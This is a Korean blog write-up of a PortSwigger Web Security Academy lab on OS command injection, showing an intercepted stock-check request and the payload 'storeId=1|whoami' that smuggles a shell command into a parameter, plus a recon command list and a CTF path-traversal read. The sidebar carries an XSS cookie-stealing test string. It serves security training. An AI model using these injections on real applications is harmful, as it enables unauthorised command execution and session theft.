OS command injection 취약점/Lab: OS command injection, simple case 실습

2025. 5. 6. 16:18·웹해킹

OS Command Injection이란?

URL이나 파라미터를 통해 웹 애플리케이션이 구동되고 있는 서버의 운영체제 OS에 임의의 명령어를 실행하는 취약점이다. 

Command injection/shell injection으로 불리기도 하고 위험도는 높은 편에 속하는 취약점이다.

사용자의 입력값 검증이 제대로 이루어지지 않기 때문에 발생할 수 있음. OS command injection으로 일반 사용자 수준의 권한으로는 중대한 손상을 입히지 못하지만, 권한 상승같은 다른 취약점이랑 합쳐져서 루트, 관리자 권한 계정으로 명령어를 실행하게 되면 더 위험도가 높아진다. 

 

사용할 수 있는 명령어

Name of current user whoami whoami
Operating system uname -a ver
Network configuration ifconfig ipconfig /all
Network connections netstat -an netstat -an
Running processes ps -ef tasklist

 

 

 

Lab: OS command injection, simple case 실습

 

재고확인을 하는 기능이 있고, 유저 측에서 제공된 상품ID, 스토어 ID를 포함한 쉘 명령어를 실행한다.

현재 유저를 파악하는 whoami 명령어를 실행하면 성공한다

 

 

일단 재고 확인을 하고 POST 요청 파켓을 burpsuite에서 찾음

리피터에 보내서 변조하자

 

POST /product/stock HTTP/2
Host: 0a89007a0399de2580aa53d40004002c.web-security-academy.net
Cookie: session=MUn2aDyv7IVKtVhL9WPvu3nMWlAK4rtu
Content-Length: 21
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: ko-KR,ko;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a89007a0399de2580aa53d40004002c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a89007a0399de2580aa53d40004002c.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

productId=2&storeId=1

 

여기 밑에 있는 productId, storeId 부분을 변조하면 된다

 

 

productId는 바꾸지 말고 storeId 파라미터를 바꿔보는데

or 연산자 | 을 써서 현재 디렉토리를 출력해보니 성공했다

 

/home/peter~ 이라는 디렉토리에서 실행되고 있다

peter-3Y5A5X

 

원래 과제 의도대로 storeId=1|whoami 를 실행하니 

지금 사용자 이름을 출력하는데 성공했다

 

 

성공! 

실제 os command injection은 이것보다 더 복잡하고 어렵다

 

파이썬으로 구현된 사이트 ctf을 풀어본적이 있는데

cat ../../flag.txt 이런식으로 플래그를 찾거나 디렉토리 내부 정보를 파악하는 식으로 진행하기도 한다

여튼 끝!

'웹해킹' 카테고리의 다른 글

SSRF with blacklist-based input filters 필터링 우회  (1) 2025.04.03
[Tryhackme] Passive Reconnaissance  (0) 2025.03.17
Web LLM Attacks 대규모 언어 모델 AI 보안 취약점  (0) 2025.03.11
취약점 점검 자동화 도구 SQL Map, JWT 크랙  (0) 2025.03.11
웹해킹 취약점 실습 환경 Wizmall 도커Docker에서 구축하기  (0) 2025.03.10
'웹해킹' 카테고리의 다른 글
  • SSRF with blacklist-based input filters 필터링 우회
  • [Tryhackme] Passive Reconnaissance
  • Web LLM Attacks 대규모 언어 모델 AI 보안 취약점
  • 취약점 점검 자동화 도구 SQL Map, JWT 크랙
이둥둥
이둥둥
"><script>prompt(document.cookie)</script>
  • 이둥둥
    시골쥐 해커
    이둥둥
  • 전체
    오늘
    어제
    • 분류 전체보기
      • 방통대
      • 리버싱
      • 웹해킹
      • 악성코드 분석
      • Defensive
      • 네트워크
      • 포렌식
      • Writeup
      • 클라우드
      • 사이버보안
      • Troubleshooting
      • 취준
  • 블로그 메뉴

    • 홈
    • 사이버보안
    • 방통대
    • 독후감
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    독후감
    CTF
    정보보안
    tryhackme
    웹해킹
    burpsuite
    리버싱
    hackthebox
    사이버보안
    악성코드분석
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
이둥둥
OS command injection 취약점/Lab: OS command injection, simple case 실습
상단으로

티스토리툴바